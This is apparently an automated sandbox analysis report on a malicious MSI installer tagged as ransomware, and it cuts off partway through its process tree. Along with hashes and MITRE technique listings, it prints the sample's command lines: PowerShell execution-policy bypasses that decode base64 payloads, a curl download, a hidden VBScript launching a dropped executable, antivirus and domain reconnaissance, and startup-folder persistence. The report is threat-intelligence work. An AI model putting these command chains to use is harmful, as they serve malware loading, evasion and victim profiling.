65a0e69ff0cfda6d14ad205392ff25bf52f3ed5405c5fe6f4d96d0343479b805

Analysis

max time kernel
149s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/10/2026, 06:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
v5.msi
Size 29KB
Sample261030-gzbb7shx21
SHA256 65a0e69ff0cfda6d14ad205392ff25bf52f3ed5405c5fe6f4d96d0343479b805
MD5 2a67ab13a81c285446c407de8a53fe04
SHA1 94c6e3720560f773bce27531f202e414aae1355c
SHA512 dceea0a63b345eaa665b02e6090049096d04e5345e4d258577cf67b81431f9cb59d37a09ff9aad9267ac235557f28664201334e5d5e7b905c92d3c044747ef91
SSDEEP 384:Cz9OjP9PNA7GZXJ/0F3/ZChBQaHMey3M5JC0ioXYGWvAcao2r+hwGsuWG1N/0rx:CdyZWF37jeWMbCbGbqxVN/0r
TLSH
T102D23A56B604D332C8830B314A5FEBE48F769C1C8FA321523696B75C2DB269025FB9E0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
896	powershell.exe
3384	powershell.exe
1908	powershell.exe
4316	powershell.exe
5484	powershell.exe
3384	powershell.exe
5840	powershell.exe
896	powershell.exe
3660	powershell.exe
5560	powershell.exe
5560	powershell.exe
5592	powershell.exe
6124	powershell.exe
1076	powershell.exe
5684	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeployFinalize.lnk	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
2488	ConfigEngine.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3116	wscript.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\Installer\SourceHash{7DE76F19-591E-4485-860A-5A31B84959F3}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFD43B5E2493519D01.TMP	msiexec.exe
File created	C:\Windows\Installer\e5975f1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5975f1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE466FAE38C5544C4.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF1EBD526AC20248F8.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI7B31.tmp	msiexec.exe
File created	C:\Windows\Installer\e5975f3.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6A5D185F8DCCA512.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Queries registry keys for unique system GUIDs 1 TTPs 2 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
4796	reg.exe
372	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1340	msiexec.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4320	cmd.exe
2868	cmd.exe
4316	cmd.exe
5552	cmd.exe
3588	cmd.exe
2704	cmd.exe
3736	cmd.exe
5824	cmd.exe
2452	cmd.exe
1632	cmd.exe
4168	cmd.exe
600	cmd.exe
1412	cmd.exe
5032	cmd.exe
4800	cmd.exe
3180	cmd.exe
2328	cmd.exe
2536	cmd.exe
724	cmd.exe
5132	cmd.exe
4608	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ConfigEngine.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000020c1fdf03c8ae10a0000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c012000000000000000000000000270101000088380120c1fdf00000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e8410120c1fdf0000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e320c1fdf000000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e620c1fdf000000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	ConfigEngine.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
4140	msiexec.exe
4140	msiexec.exe
4316	powershell.exe
4316	powershell.exe
4316	powershell.exe
5484	powershell.exe
5484	powershell.exe
5484	powershell.exe
1908	powershell.exe
1908	powershell.exe
1908	powershell.exe
5684	powershell.exe
5684	powershell.exe
5684	powershell.exe
5560	powershell.exe
5560	powershell.exe
5560	powershell.exe
5592	powershell.exe
5592	powershell.exe
5592	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
5840	powershell.exe
5840	powershell.exe
5840	powershell.exe
6124	powershell.exe
6124	powershell.exe
6124	powershell.exe
1076	powershell.exe
1076	powershell.exe
1076	powershell.exe
896	powershell.exe
896	powershell.exe
896	powershell.exe
3660	powershell.exe
3660	powershell.exe
3660	powershell.exe
5560	powershell.exe
5560	powershell.exe
5560	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1340	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1340	msiexec.exe
Token: SeSecurityPrivilege	4140	msiexec.exe
Token: SeCreateTokenPrivilege	1340	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1340	msiexec.exe
Token: SeLockMemoryPrivilege	1340	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1340	msiexec.exe
Token: SeMachineAccountPrivilege	1340	msiexec.exe
Token: SeTcbPrivilege	1340	msiexec.exe
Token: SeSecurityPrivilege	1340	msiexec.exe
Token: SeTakeOwnershipPrivilege	1340	msiexec.exe
Token: SeLoadDriverPrivilege	1340	msiexec.exe
Token: SeSystemProfilePrivilege	1340	msiexec.exe
Token: SeSystemtimePrivilege	1340	msiexec.exe
Token: SeProfSingleProcessPrivilege	1340	msiexec.exe
Token: SeIncBasePriorityPrivilege	1340	msiexec.exe
Token: SeCreatePagefilePrivilege	1340	msiexec.exe
Token: SeCreatePermanentPrivilege	1340	msiexec.exe
Token: SeBackupPrivilege	1340	msiexec.exe
Token: SeRestorePrivilege	1340	msiexec.exe
Token: SeShutdownPrivilege	1340	msiexec.exe
Token: SeDebugPrivilege	1340	msiexec.exe
Token: SeAuditPrivilege	1340	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1340	msiexec.exe
Token: SeChangeNotifyPrivilege	1340	msiexec.exe
Token: SeRemoteShutdownPrivilege	1340	msiexec.exe
Token: SeUndockPrivilege	1340	msiexec.exe
Token: SeSyncAgentPrivilege	1340	msiexec.exe
Token: SeEnableDelegationPrivilege	1340	msiexec.exe
Token: SeManageVolumePrivilege	1340	msiexec.exe
Token: SeImpersonatePrivilege	1340	msiexec.exe
Token: SeCreateGlobalPrivilege	1340	msiexec.exe
Token: SeBackupPrivilege	4088	vssvc.exe
Token: SeRestorePrivilege	4088	vssvc.exe
Token: SeAuditPrivilege	4088	vssvc.exe
Token: SeBackupPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe
Token: SeTakeOwnershipPrivilege	4140	msiexec.exe
Token: SeRestorePrivilege	4140	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1340	msiexec.exe
1340	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1340	msiexec.exe
4140	msiexec.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4140 wrote to memory of 2824	4140	msiexec.exe	94
PID 4140 wrote to memory of 2328	4140	msiexec.exe	96
PID 2328 wrote to memory of 2536	2328	cmd.exe	98
PID 2536 wrote to memory of 724	2536	cmd.exe	103
PID 724 wrote to memory of 4316	724	cmd.exe	143
PID 2536 wrote to memory of 5132	2536	cmd.exe	105
PID 5132 wrote to memory of 5484	5132	cmd.exe	147
PID 2536 wrote to memory of 600	2536	cmd.exe	107
PID 600 wrote to memory of 1908	600	cmd.exe	108
PID 2536 wrote to memory of 2728	2536	cmd.exe	109
PID 2536 wrote to memory of 2052	2536	cmd.exe	110
PID 2536 wrote to memory of 4276	2536	cmd.exe	111
PID 2536 wrote to memory of 1912	2536	cmd.exe	113
PID 2536 wrote to memory of 3116	2536	cmd.exe	114
PID 3116 wrote to memory of 2488	3116	wscript.exe	115
PID 2488 wrote to memory of 4320	2488	ConfigEngine.exe	117
PID 4320 wrote to memory of 5684	4320	cmd.exe	119
PID 2488 wrote to memory of 2868	2488	ConfigEngine.exe	120
PID 2868 wrote to memory of 5560	2868	cmd.exe	157
PID 2488 wrote to memory of 1412	2488	ConfigEngine.exe	123
PID 1412 wrote to memory of 5592	1412	cmd.exe	161
PID 2488 wrote to memory of 2704	2488	ConfigEngine.exe	127
PID 2704 wrote to memory of 3384	2704	cmd.exe	129
PID 2488 wrote to memory of 4608	2488	ConfigEngine.exe	130
PID 4608 wrote to memory of 5840	4608	cmd.exe	132
PID 2488 wrote to memory of 5032	2488	ConfigEngine.exe	133
PID 5032 wrote to memory of 6124	5032	cmd.exe	135
PID 2488 wrote to memory of 4800	2488	ConfigEngine.exe	136
PID 4800 wrote to memory of 3924	4800	cmd.exe	138
PID 3924 wrote to memory of 1244	3924	net.exe	139
PID 2488 wrote to memory of 3736	2488	ConfigEngine.exe	140
PID 3736 wrote to memory of 5660	3736	cmd.exe	142
PID 2488 wrote to memory of 4316	2488	ConfigEngine.exe	143
PID 4316 wrote to memory of 4796	4316	cmd.exe	145
PID 2488 wrote to memory of 5552	2488	ConfigEngine.exe	146
PID 5552 wrote to memory of 1076	5552	cmd.exe	148
PID 2488 wrote to memory of 5824	2488	ConfigEngine.exe	149
PID 5824 wrote to memory of 896	5824	cmd.exe	151
PID 2488 wrote to memory of 2452	2488	ConfigEngine.exe	152
PID 2452 wrote to memory of 3660	2452	cmd.exe	154
PID 2488 wrote to memory of 1632	2488	ConfigEngine.exe	155
PID 1632 wrote to memory of 5560	1632	cmd.exe	157
PID 2488 wrote to memory of 3588	2488	ConfigEngine.exe	158
PID 3588 wrote to memory of 4616	3588	cmd.exe	160
PID 4616 wrote to memory of 5592	4616	net.exe	161
PID 2488 wrote to memory of 4168	2488	ConfigEngine.exe	162
PID 4168 wrote to memory of 5980	4168	cmd.exe	164
PID 2488 wrote to memory of 3180	2488	ConfigEngine.exe	165
PID 3180 wrote to memory of 372	3180	cmd.exe	167

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	12	curl/8.8.0

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\v5.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1340

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Creates a file in the Startup directory
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4140
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2824
- C:\Windows\system32\cmd.exe
  cmd /c "DeployFinalize.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\system32\cmd.exe
    cmd.exe /C call "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\DeployFinalize.cmd" FINALIZE
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:724
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4316
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5484
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:600
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" ver "
      4⤵
      PID:2728
  - - C:\Windows\system32\findstr.exe
      findstr /I /R "10\. 11\."
      4⤵
      PID:2052
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -fsSL -o "C:\Users\Admin\AppData\Local\Temp\WwGTC5Xx_Qwc1b8eM3H_32542.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
      4⤵
      PID:4276
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xf "C:\Users\Admin\AppData\Local\Temp\WwGTC5Xx_Qwc1b8eM3H_32542.zip" -C "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP"
      4⤵
      PID:1912
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\WScript.exe" //NOLOGO //B "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\regehcnws.vbs" "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\RedistHost\ConfigEngine.exe" "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\ebs4HnHPwUzU.cfg"
      4⤵
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:3116
    - - C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\RedistHost\ConfigEngine.exe
        
        "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\RedistHost\ConfigEngine.exe" "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\ebs4HnHPwUzU.cfg"
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        Checks processor information in registry
        Suspicious use of WriteProcessMemory
        
        PID:2488
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5684
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1412
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3384
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5840
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5032
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6124
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        6⤵
